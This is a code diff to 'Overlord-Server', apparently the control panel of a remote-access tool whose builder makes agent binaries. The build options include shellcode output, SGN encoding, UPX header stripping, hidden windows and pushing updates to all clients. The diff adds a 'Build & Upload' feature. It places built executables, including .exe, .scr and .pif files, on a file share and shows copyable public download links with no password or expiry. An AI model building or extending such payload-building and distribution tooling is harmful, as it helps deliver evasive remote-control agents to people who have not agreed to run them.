diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index fa4b5c0..4cf2030 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -1584,6 +1584,7 @@ form?.addEventListener("submit", async (e) => {
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
useSgn: document.getElementById("sgn-mode")?.checked || false,
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
+ uploadToFileShare: pendingUpload,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
@@ -1637,6 +1638,10 @@ async function startBuild(config) {
buildUpdateAllBtn.disabled = true;
buildUpdateAllBtn.innerHTML = ' Building...';
}
+ if (buildUploadBtn) {
+ buildUploadBtn.disabled = true;
+ buildUploadBtn.innerHTML = ' Building...';
+ }
buildStatus.classList.remove("hidden");
buildStatusText.textContent = "Starting build...";
@@ -1693,6 +1698,11 @@ async function startBuild(config) {
buildUpdateAllBtn.disabled = false;
buildUpdateAllBtn.innerHTML = ' Build & Update All';
}
+ if (buildUploadBtn) {
+ buildUploadBtn.disabled = false;
+ buildUploadBtn.innerHTML = ' Build & Upload';
+ }
+ pendingUpload = false;
}
}
@@ -1711,6 +1721,7 @@ async function streamBuildOutput(buildId, config = {}) {
const RECONNECT_DELAY_MS = 2000;
let attempts = 0;
let completed = false;
+ const uploadedShareFiles = [];
while (!completed && attempts <= MAX_RECONNECT_ATTEMPTS) {
if (attempts > 0) {
@@ -1814,6 +1825,13 @@ async function streamBuildOutput(buildId, config = {}) {
addBuildOutput(data.text, data.level || "info");
} else if (data.type === "status") {
buildStatusText.textContent = data.text;
+ } else if (data.type === "file_share_uploaded") {
+ uploadedShareFiles.push({
+ id: data.id,
+ filename: data.filename,
+ platform: data.platform,
+ size: data.size,
+ });
} else if (data.type === "complete") {
buildStatusText.textContent = data.success
? "Build completed successfully!"
@@ -1845,6 +1863,10 @@ async function streamBuildOutput(buildId, config = {}) {
buildResults.classList.remove("hidden");
displayBuild(buildData);
+ if (uploadedShareFiles.length > 0) {
+ renderShareLinksPanel(uploadedShareFiles);
+ }
+
// Auto-push update if "Build & Update All" was used
if (pendingUpdateAll) {
pendingUpdateAll = false;
@@ -1919,6 +1941,68 @@ function addBuildOutput(text, level = "info") {
buildOutputDiv.appendChild(span);
}
+function renderShareLinksPanel(items) {
+ const existing = document.getElementById("build-share-links");
+ if (existing) existing.remove();
+
+ const panel = document.createElement("div");
+ panel.id = "build-share-links";
+ panel.className =
+ "mt-3 p-3 bg-emerald-950/30 border border-emerald-700/50 rounded-lg space-y-2";
+
+ const header = document.createElement("div");
+ header.className = "flex items-center gap-2 text-sm font-medium text-emerald-300";
+ header.innerHTML =
+ 'Uploaded to File Share' +
+ `(${items.length})`;
+ panel.appendChild(header);
+
+ for (const item of items) {
+ const url = `${window.location.origin}/api/file-share/${item.id}/download`;
+
+ const row = document.createElement("div");
+ row.className = "flex items-center gap-2 text-xs";
+
+ const label = document.createElement("span");
+ label.className = "text-slate-400 shrink-0";
+ label.textContent = item.platform || item.filename;
+
+ const input = document.createElement("input");
+ input.type = "text";
+ input.readOnly = true;
+ input.value = url;
+ input.className =
+ "flex-1 bg-slate-900 border border-slate-700 rounded px-2 py-1 text-slate-200 font-mono select-all";
+ input.addEventListener("focus", () => input.select());
+
+ const copyBtn = document.createElement("button");
+ copyBtn.type = "button";
+ copyBtn.className =
+ "px-2 py-1 rounded bg-emerald-700 hover:bg-emerald-600 text-white text-xs flex items-center gap-1 shrink-0";
+ copyBtn.innerHTML = 'Copy';
+ copyBtn.addEventListener("click", async () => {
+ try {
+ await navigator.clipboard.writeText(url);
+ copyBtn.innerHTML = 'Copied';
+ if (window.showToast) window.showToast("Download link copied to clipboard", "success");
+ setTimeout(() => {
+ copyBtn.innerHTML = 'Copy';
+ }, 1500);
+ } catch {
+ input.select();
+ document.execCommand?.("copy");
+ }
+ });
+
+ row.appendChild(label);
+ row.appendChild(input);
+ row.appendChild(copyBtn);
+ panel.appendChild(row);
+ }
+
+ buildFilesDiv.appendChild(panel);
+}
+
function showBuildFiles(files, buildId, expiresAt) {
buildResults.classList.remove("hidden");
buildFilesDiv.innerHTML = "";
@@ -2332,6 +2416,8 @@ const updateAllConfirm = document.getElementById("update-all-confirm");
let pendingUpdateAll = false;
let pendingUpdateHideWindow = false;
+let pendingUpload = false;
+const buildUploadBtn = document.getElementById("build-upload-btn");
function showUpdateAllModal() {
if (!updateAllModal) return;
@@ -2428,6 +2514,19 @@ if (updateAllConfirm) {
});
}
+if (buildUploadBtn) {
+ buildUploadBtn.addEventListener("click", () => {
+ if (isBuilding) return;
+ const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
+ if (platformCheckboxes.length === 0) {
+ alert("Please select at least one platform to build");
+ return;
+ }
+ pendingUpload = true;
+ form.requestSubmit();
+ });
+}
+
async function pushUpdateToAllClients(buildId, hideWindow) {
addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 49c0a78..0957f0b 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -761,6 +761,12 @@
Build & Update All
+
+
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 6a4205b..5fe2546 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -251,6 +251,7 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
runBuildProcess(buildId, buildConfig, {
generateBuildMutex,
sanitizeOutputName,
+ fileShareRoot: FILE_SHARE_ROOT,
});
const pendingHttpDownloads = new Map();
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 57c9443..01d43c3 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -2,7 +2,8 @@ import { $ } from "bun";
import path from "path";
import fs from "fs";
import { v4 as uuidv4 } from "uuid";
-import { saveBuild } from "../db";
+import { saveBuild, insertSharedFile, type SharedFileRecord } from "../db";
+import { getUserById, canUploadFiles } from "../users";
import { logger } from "../logger";
import { getConfig } from "../config";
import { signBuildToken } from "./build-signing";
@@ -117,6 +118,7 @@ type BuildProcessConfig = {
solRpcEndpoints?: string;
iosBundleId?: string;
fetchPublicIP?: boolean;
+ uploadToFileShare?: boolean;
};
@@ -148,8 +150,128 @@ function stripUpxHeaders(filePath: string): boolean {
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
+ fileShareRoot?: string;
};
+function guessMimeTypeForUpload(filename: string): string {
+ const ext = path.extname(filename).toLowerCase();
+ switch (ext) {
+ case ".exe":
+ case ".dll":
+ case ".scr":
+ case ".com":
+ case ".pif":
+ return "application/vnd.microsoft.portable-executable";
+ case ".bat":
+ case ".cmd":
+ return "application/bat";
+ case ".bin":
+ return "application/octet-stream";
+ case ".ipa":
+ return "application/octet-stream";
+ case ".sgn":
+ return "application/octet-stream";
+ default:
+ return "application/octet-stream";
+ }
+}
+
+async function uploadBuildFilesToFileShare(
+ build: BuildStream,
+ outDir: string,
+ fileShareRoot: string,
+ userId: number,
+ sendToStream: (data: any) => void,
+): Promise {
+ const dbUser = getUserById(userId);
+ if (!dbUser) {
+ sendToStream({
+ type: "output",
+ text: "WARNING: Skipping file-share upload — uploading user not found.\n",
+ level: "warn",
+ });
+ return;
+ }
+ if (!canUploadFiles(dbUser.id, dbUser.role)) {
+ sendToStream({
+ type: "output",
+ text: "WARNING: Skipping file-share upload — you do not have upload permission.\n",
+ level: "warn",
+ });
+ return;
+ }
+
+ await fs.promises.mkdir(fileShareRoot, { recursive: true });
+
+ sendToStream({ type: "status", text: "Uploading build to file share..." });
+ sendToStream({
+ type: "output",
+ text: `\n── Uploading ${build.files.length} file(s) to file share ──\n`,
+ level: "info",
+ });
+
+ for (const file of build.files as any[]) {
+ const filename: string = file.filename || file.name;
+ if (!filename) continue;
+ const sourcePath = path.join(outDir, filename);
+ if (!fs.existsSync(sourcePath)) {
+ sendToStream({
+ type: "output",
+ text: `WARNING: Build output not found on disk for upload: ${filename}\n`,
+ level: "warn",
+ });
+ continue;
+ }
+ try {
+ const id = uuidv4();
+ const folder = path.join(fileShareRoot, id);
+ await fs.promises.mkdir(folder, { recursive: true });
+ const targetPath = path.join(folder, filename);
+ await fs.promises.copyFile(sourcePath, targetPath);
+ const size = fs.statSync(targetPath).size;
+
+ const record: SharedFileRecord = {
+ id,
+ filename,
+ storedPath: targetPath,
+ size,
+ mimeType: guessMimeTypeForUpload(filename),
+ uploadedBy: dbUser.id,
+ uploadedByUsername: dbUser.username,
+ passwordHash: null,
+ maxDownloads: null,
+ downloadCount: 0,
+ expiresAt: null,
+ createdAt: Date.now(),
+ description: `Build ${build.id.substring(0, 8)} — ${file.platform || "unknown"}`,
+ };
+ insertSharedFile(record);
+
+ logger.info(
+ `[file-share] ${dbUser.username} uploaded "${filename}" (${size} bytes) id=${id} via build ${build.id.substring(0, 8)}`,
+ );
+ sendToStream({
+ type: "output",
+ text: `Uploaded ${filename} (${size} bytes) → file share id ${id}\n`,
+ level: "success",
+ });
+ sendToStream({
+ type: "file_share_uploaded",
+ id,
+ filename,
+ platform: file.platform || null,
+ size,
+ });
+ } catch (err: any) {
+ sendToStream({
+ type: "output",
+ text: `WARNING: Failed to upload ${filename} to file share: ${err.message || err}\n`,
+ level: "warn",
+ });
+ }
+ }
+}
+
function detectAgentVersion(clientDir: string): string {
try {
const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go");
@@ -1267,6 +1389,31 @@ func runBoundFiles() {
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
+
+ if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
+ try {
+ await uploadBuildFilesToFileShare(
+ build,
+ outDir,
+ deps.fileShareRoot,
+ config.builtByUserId,
+ sendToStream,
+ );
+ } catch (uploadErr: any) {
+ sendToStream({
+ type: "output",
+ text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
+ level: "warn",
+ });
+ }
+ } else if (config.uploadToFileShare && !deps.fileShareRoot) {
+ sendToStream({
+ type: "output",
+ text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
+ level: "warn",
+ });
+ }
+
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 6ee2d21..1b2cefb 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -24,6 +24,7 @@ import { logger } from "../../logger";
import { normalizeClientOs } from "../deploy-utils";
import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
import { getConfig } from "../../config";
+import { canUploadFiles } from "../../users";
import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
import path from "path";
import fs from "fs";
@@ -118,6 +119,7 @@ export async function handleBuildRoutes(
useSgn,
sgnIterations,
fetchPublicIP,
+ uploadToFileShare,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -345,6 +347,14 @@ export async function handleBuildRoutes(
safeBoundFiles = validated;
}
+ const safeUploadToFileShare = !!uploadToFileShare;
+ if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) {
+ return Response.json(
+ { error: "You do not have permission to upload files" },
+ { status: 403 },
+ );
+ }
+
const rateLimitActive = getConfig().registration.mode !== "off";
if (rateLimitActive) recordBuildStart(user.userId);
@@ -392,6 +402,7 @@ export async function handleBuildRoutes(
useSgn: !!useSgn,
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
fetchPublicIP: !!fetchPublicIP,
+ uploadToFileShare: safeUploadToFileShare,
}).finally(() => {
if (rateLimitActive) recordBuildEnd(user.userId);
});